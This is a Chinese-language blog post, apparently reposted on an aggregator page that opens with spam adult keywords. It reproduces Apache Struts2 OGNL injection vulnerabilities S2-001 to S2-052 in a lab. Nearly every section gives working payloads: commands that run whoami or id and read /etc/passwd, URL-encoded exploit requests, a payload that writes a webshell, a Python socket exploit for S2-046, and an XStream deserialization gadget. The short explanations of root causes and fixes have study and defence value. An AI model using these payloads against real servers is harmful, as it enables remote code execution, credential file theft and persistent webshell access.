国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

struts2漏洞

這篇具有很好參考價(jià)值的文章主要介紹了struts2漏洞。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。


漏洞

一、struts2漏洞 S2-001

漏洞原理

該漏洞因用戶提交表單數(shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用OGNL表達(dá)式%{value}進(jìn)行解析,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中。如注冊(cè)或登錄頁(yè)面,提交失敗后一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用%{value}對(duì)提交的數(shù)據(jù)執(zhí)行了一次OGNL 表達(dá)式解析,所以可以直接構(gòu)造 Payload進(jìn)行命令執(zhí)行。

復(fù)現(xiàn)

struts2漏洞
返回顯示2
struts2漏洞
漏洞存在
獲取web路徑

%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}

struts2漏洞struts2漏洞
執(zhí)行命令

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

struts2漏洞

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

struts2漏洞

二、struts2漏洞 S2-005

原理

s2-005漏洞的起源源于S2-003(受影響版本: 低于Struts 2.0.12),struts2會(huì)將http的每個(gè)參數(shù)名解析為OGNL語(yǔ)句執(zhí)行(可理解為java代碼)。OGNL表達(dá)式通過(guò)#來(lái)訪問(wèn)struts的對(duì)象,struts框架通過(guò)過(guò)濾#字符防止安全問(wèn)題,然而通過(guò)unicode編碼(\u0023)或8進(jìn)制(\43)即繞過(guò)了安全限制,對(duì)于S2-003漏洞,官方通過(guò)增加安全配置(禁止靜態(tài)方法調(diào)用和類方法執(zhí)行等)來(lái)修補(bǔ),但是安全配置被繞過(guò)再次導(dǎo)致了漏洞,攻擊者可以利用OGNL表達(dá)式將這2個(gè)選項(xiàng)打開(kāi),S2-003的修補(bǔ)方案把自己上了一個(gè)鎖,但是把鎖鑰匙給插在了鎖頭上。
XWork會(huì)將GET參數(shù)的鍵和值利用OGNL表達(dá)式解析成Java語(yǔ)句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//會(huì)被轉(zhuǎn)化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

分析一下003

這里網(wǎng)上找了003的信息
其實(shí)S2-003是S2-005的前身,他的POC即為S-005的縮小版,因?yàn)镾2-003之后官方偷偷修改安全配置,默認(rèn)讓SecurityMemberAccess(管理ognl權(quán)限的類)的allowStaticMethodAccess為false,這里簡(jiǎn)單把S2-005的POC去掉
&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)這句話

http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

總體來(lái)說(shuō)
Struts2處理用戶請(qǐng)求時(shí),會(huì)調(diào)用攔截器處理ParametersInterceptor.setParameters裝載參數(shù).其中在執(zhí)行數(shù)據(jù)棧加載時(shí)會(huì)對(duì)傳入的參數(shù)name正則判斷是否存在非法字符.
之后執(zhí)行stack.setValue(name, value)進(jìn)一步解析name值.依次解析傳入的表達(dá)式造成注入

文章

https://zhzhdoai.github.io/2020/12/24/Struts2%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B9%8BS2-003/#pom-xml

復(fù)現(xiàn)

struts2漏洞靶機(jī)查看是否成功寫(xiě)入

struts2漏洞
第二種方法struts2漏洞struts2漏洞

三、struts2漏洞s2-007

如果出現(xiàn)404,需要關(guān)閉當(dāng)前瀏覽器重開(kāi)。
struts2漏洞
age插入 ‘+(1+1)+’
struts2漏洞

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

struts2漏洞
找到EXP中的exec(‘id’)值,將id改為你想要執(zhí)行的命令即可,例如:exec(‘cat /etc/passwd’)
如果太差直接查看網(wǎng)頁(yè)源碼

四、struts2漏洞 S2-008

原理

主要是利用對(duì)傳入?yún)?shù)沒(méi)有嚴(yán)格限制,導(dǎo)致多個(gè)地方可以執(zhí)行惡意代碼,傳入?debug=command&expression=即可執(zhí)行OGNL表達(dá)式

復(fù)現(xiàn)

任意文件覆蓋
//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
遠(yuǎn)程執(zhí)行命令
debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)

五、struts2漏洞 S2-009

原理

這個(gè)漏洞再次來(lái)源于s2-003、s2-005
struts2對(duì)s2-003的修復(fù)方法是禁止靜態(tài)方法調(diào)用,在s2-005中可直接通過(guò)OGNL繞過(guò)該限制,對(duì)于#號(hào),同樣使用編碼\u0023\43進(jìn)行繞過(guò);于是Struts2對(duì)s2-005的修復(fù)方法是禁止\等特殊符號(hào),使用戶不能提交反斜線。
但是,如果當(dāng)前action中接受了某個(gè)參數(shù)example,這個(gè)參數(shù)將進(jìn)入OGNL的上下文。所以,我們可以將OGNL表達(dá)式放在example參數(shù)中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法來(lái)執(zhí)行它,從而繞過(guò)官方對(duì)#、\等特殊字符的防御。

復(fù)現(xiàn)

查看源碼 目錄WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

struts2漏洞查看路由
struts2漏洞訪問(wèn)這個(gè)
struts2漏洞

構(gòu)建poc

/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

struts2漏洞

六、struts2漏洞 S2-012

原理

如果在配置 Action 中 Result 時(shí)使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

這里 UserAction 中定義有一個(gè) name 變量,當(dāng)觸發(fā) redirect 類型返回時(shí),Struts2 獲取使用 ${name} 獲取其值,在這個(gè)過(guò)程中會(huì)對(duì) name 參數(shù)的值執(zhí)行 OGNL 表達(dá)式解析,從而可以插入任意 OGNL 表達(dá)式導(dǎo)致命令執(zhí)行。

復(fù)現(xiàn)

可以直接祭出s2-001中的回顯POC,因?yàn)檫@里是沒(méi)有沙盒,也沒(méi)有限制任何特殊字符(為什么?)。

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

struts2漏洞需要url編碼
struts2漏洞

七、struts2漏洞 S2-013

原理

Struts2 標(biāo)簽中 <s:a><s:url> 都包含一個(gè) includeParams 屬性,其值可設(shè)置為 none,get 或 all,參考官方其對(duì)應(yīng)意義如下:

  1. none - 鏈接不包含請(qǐng)求的任意參數(shù)值(默認(rèn))
  2. get - 鏈接只包含 GET 請(qǐng)求中的參數(shù)和其值
  3. all - 鏈接包含 GET 和 POST 所有參數(shù)和其值

<s:a>用來(lái)顯示一個(gè)超鏈接,當(dāng)includeParams=all的時(shí)候,會(huì)將本次請(qǐng)求的GET和POST參數(shù)都放在URL的GET參數(shù)上。在放置參數(shù)的過(guò)程中會(huì)將參數(shù)進(jìn)行OGNL渲染,造成任意命令執(zhí)行漏洞。

復(fù)現(xiàn)

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

// 或

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

如:http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是對(duì) S2-013 修復(fù)的加強(qiáng),在 S2-013 修復(fù)的代碼中忽略了 ${ognl_exp} OGNL 表達(dá)式執(zhí)行的方式,因此 S2-014 是對(duì)其的補(bǔ)丁加強(qiáng)。

http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

struts2漏洞

八、struts2漏洞 S2-015

原理

漏洞產(chǎn)生于配置了 Action 通配符 *,并將其作為動(dòng)態(tài)值時(shí),解析時(shí)會(huì)將其內(nèi)容執(zhí)行 OGNL 表達(dá)式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能讓我們?cè)L問(wèn) name.action 時(shí)使用 name.jsp 來(lái)渲染頁(yè)面,但是在提取 name 并解析時(shí),對(duì)其執(zhí)行了 OGNL 表達(dá)式解析,所以導(dǎo)致命令執(zhí)行。在實(shí)踐復(fù)現(xiàn)的時(shí)候發(fā)現(xiàn),由于 name 值的位置比較特殊,一些特殊的字符如 / " \ 都無(wú)法使用(轉(zhuǎn)義也不行),所以在利用該點(diǎn)進(jìn)行遠(yuǎn)程命令執(zhí)行時(shí)一些帶有路徑的命令可能無(wú)法執(zhí)行成功。

還有需要說(shuō)明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新內(nèi)容中,刪除了 SecurityMemberAccess 類中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通過(guò) #_memberAccess['allowStaticMethodAccess']=true 來(lái)修改其值達(dá)到重獲靜態(tài)方法調(diào)用的能力。

復(fù)現(xiàn)

這里為了到達(dá)執(zhí)行命令的目的可以用 kxlzx 提到的調(diào)用動(dòng)態(tài)方法 (new java.lang.ProcessBuilder(‘calc’)).start() 來(lái)解決,另外還可以借助 Java 反射機(jī)制去間接修改:

#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

可以構(gòu)造 Payload 如下:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

直接回顯:

struts2漏洞

除了上面所說(shuō)到的這種情況以外,S2-015 還涉及一種二次引用執(zhí)行的情況:

<action name="param" class="com.demo.action.ParamAction">
    <result name="success" type="httpheader">
        <param name="error">305</param>
        <param name="headers.fxxk">${message}</param>
    </result>
</action>

這里配置了 <param name="errorMessage">${message}</param>,其中 message 為 ParamAction 中的一個(gè)私有變量,這樣配置會(huì)導(dǎo)致觸發(fā)該 Result 時(shí),Struts2 會(huì)從請(qǐng)求參數(shù)中獲取 message 的值,并在解析過(guò)程中,觸發(fā)了 OGNL 表達(dá)式執(zhí)行,因此只用提交 %{1111*2} 作為其變量值提交就會(huì)得到執(zhí)行。這里需要注意的是這里的二次解析是因?yàn)樵?struts.xml 中使用 ${param} 引用了 Action 中的變量所導(dǎo)致的,并不針對(duì)于 type=“httpheader” 這種返回方式。

struts2漏洞

九、struts2漏洞 S2-016

原理

在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導(dǎo)航或是重定向前綴,但是這些前綴后面同時(shí)可以跟OGNL表達(dá)式,由于struts2沒(méi)有對(duì)這些前綴做過(guò)濾,導(dǎo)致利用OGNL表達(dá)式調(diào)用java靜態(tài)方法執(zhí)行任意系統(tǒng)命令。

復(fù)現(xiàn)

所以,訪問(wèn)http://your-ip:8080/index.action?redirect:OGNL表達(dá)式即可執(zhí)行OGNL表達(dá)式。

執(zhí)行命令:

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

url編碼結(jié)束后(一定要編碼)
struts2漏洞

獲取web目錄:

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

寫(xiě)入webshell:

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

十、struts2漏洞 S2-032

原理

Struts2在開(kāi)啟了動(dòng)態(tài)方法調(diào)用(Dynamic Method Invocation)的情況下,可以使用method:<name>的方式來(lái)調(diào)用名字是<name>的方法,而這個(gè)方法名將會(huì)進(jìn)行OGNL表達(dá)式計(jì)算,導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。

復(fù)現(xiàn)

直接請(qǐng)求如下URL,即可執(zhí)行id命令:

http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

struts2漏洞

十一、struts2漏洞 S2-045

原理

惡意用戶可在上傳文件時(shí)通過(guò)修改HTTP請(qǐng)求頭中的Content-Type值來(lái)觸發(fā)該漏洞,進(jìn)而執(zhí)行系統(tǒng)命令。

復(fù)現(xiàn)

修改如下數(shù)據(jù)包
poc1

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

struts2漏洞poc2
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

十二、struts2漏洞 S2-046

原理

在使用基于Jakarta插件的文件上傳功能時(shí),滿足以下條件,會(huì)觸發(fā)遠(yuǎn)程命令執(zhí)行漏洞。

1.上傳文件的大?。ㄓ蒀ontent-Length頭指定)大于Struts2允許的最大大小(2GB)。

2.文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容。

本次S2-046漏洞遠(yuǎn)程命令執(zhí)行漏洞需滿足以上條件,而S2-045的漏洞只需要Content-Type一個(gè)點(diǎn)就可以進(jìn)行遠(yuǎn)程命令執(zhí)行。

復(fù)現(xiàn)

與s2-045類似,但是輸入點(diǎn)在文件上傳的filename值位置,并需要使用\x00截?cái)唷?/p>

由于需要發(fā)送畸形數(shù)據(jù)包,我們簡(jiǎn)單使用原生socket編寫(xiě)payload:

import socket

q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain

foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d

'''.replace(b'\n', b'\r\n') % (len(q), )

with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
    conn.send(p + q)
    print(conn.recv(10240).decode())

十三、struts2漏洞 S2-052

原理

Struts2-Rest-Plugin是讓Struts2能夠?qū)崿F(xiàn)Restful API的一個(gè)插件,其根據(jù)Content-Type或URI擴(kuò)展名來(lái)判斷用戶傳入的數(shù)據(jù)包類型,有如下映射表:

擴(kuò)展名 Content-Type 解析方法
xml application/xml xstream
json application/json jsonlib或jackson(可選)
xhtml application/xhtml+xml 無(wú)
無(wú) application/x-www-form-urlencoded 無(wú)
無(wú) multipart/form-data 無(wú)

jsonlib無(wú)法引入任意對(duì)象,而xstream在默認(rèn)情況下是可以引入任意對(duì)象的(針對(duì)1.5.x以前的版本),方法就是直接通過(guò)xml的tag name指定需要實(shí)例化的類名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我們可以通過(guò)反序列化引入任意類造成遠(yuǎn)程命令執(zhí)行漏洞,只需要找到一個(gè)在Struts2庫(kù)中適用的gedget。

復(fù)現(xiàn)

由于rest-plugin會(huì)根據(jù)URI擴(kuò)展名或Content-Type來(lái)判斷解析方法,所以我們只需要修改orders.xhtml為orders.xml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數(shù)據(jù)。

所以,最后發(fā)送的數(shù)據(jù)包為:

POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

以上數(shù)據(jù)包成功執(zhí)行的話,會(huì)在docker容器內(nèi)創(chuàng)建文件/tmp/success,執(zhí)行docker-compose exec struts2 ls /tmp/即可看到。

此外,我們還可以下載一個(gè)jspx的webshell:

[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-cciMzDSr-1657700149004)(01.png)]

還有一些更簡(jiǎn)單的利用方法,就不在此贅述了。

修復(fù)

struts2.5.13中,按照xstream給出的緩解措施( http://x-stream.github.io/security.html ),增加了反序列化時(shí)的白名單:

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
    if (invocation.getAction() instanceof ModelDriven) {
        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
    }
    stream.addPermission(NullPermission.NULL);
    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
    stream.addPermission(ArrayTypePermission.ARRAYS);
    stream.addPermission(CollectionTypePermission.COLLECTIONS);
    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}

但此時(shí)可能會(huì)影響以前代碼的業(yè)務(wù)邏輯,所以謹(jǐn)慎升級(jí),也沒(méi)有特別好的辦法,就是逐一排除老代碼,去掉不在白名單中的類。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-463985.html

到了這里,關(guān)于struts2漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • struts2 s2-062 OGNL遠(yuǎn)程代碼執(zhí)行

    struts2是一種重量級(jí)的框架,位于MVC架構(gòu)中的controller,可以分析出來(lái),它是用于接受頁(yè)面信息然后通過(guò)內(nèi)部處理,將結(jié)果返回。struts2也是一個(gè)web層的MVC框架。 Java中SSH框架 SSH為Struts+Spring+Hibernate的一個(gè)集成框架,是目前較流行的一種JAVA Web應(yīng)用程序開(kāi)源框架。 Java中SSM框架 SS

    2024年02月02日
    瀏覽(28)
  • struts2漏洞

    struts2漏洞

    漏洞原理 該漏洞因用戶提交表單數(shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用OGNL表達(dá)式%{value}進(jìn)行解析,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中。如注冊(cè)或登錄頁(yè)面,提交失敗后一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用%{value}對(duì)提交的數(shù)據(jù)執(zhí)行了一次OGNL 表達(dá)

    2024年02月06日
    瀏覽(22)
  • Struts2 漏洞集合

    總結(jié)了一部分 Strtus2 漏洞,雖然現(xiàn)在這部分的漏洞很少了,但也是學(xué)習(xí)的一部分,收集的并不全面,后續(xù)會(huì)做補(bǔ)充。 漏洞環(huán)境搭建可以使用在線的 Vulfocus ,或者使用docker部署 S2-001 (CVE-2007-4556) 該漏洞因?yàn)橛脩籼峤槐韱螖?shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值

    2024年02月16日
    瀏覽(26)
  • 【滲透測(cè)試】Struts2系列漏洞

    【滲透測(cè)試】Struts2系列漏洞

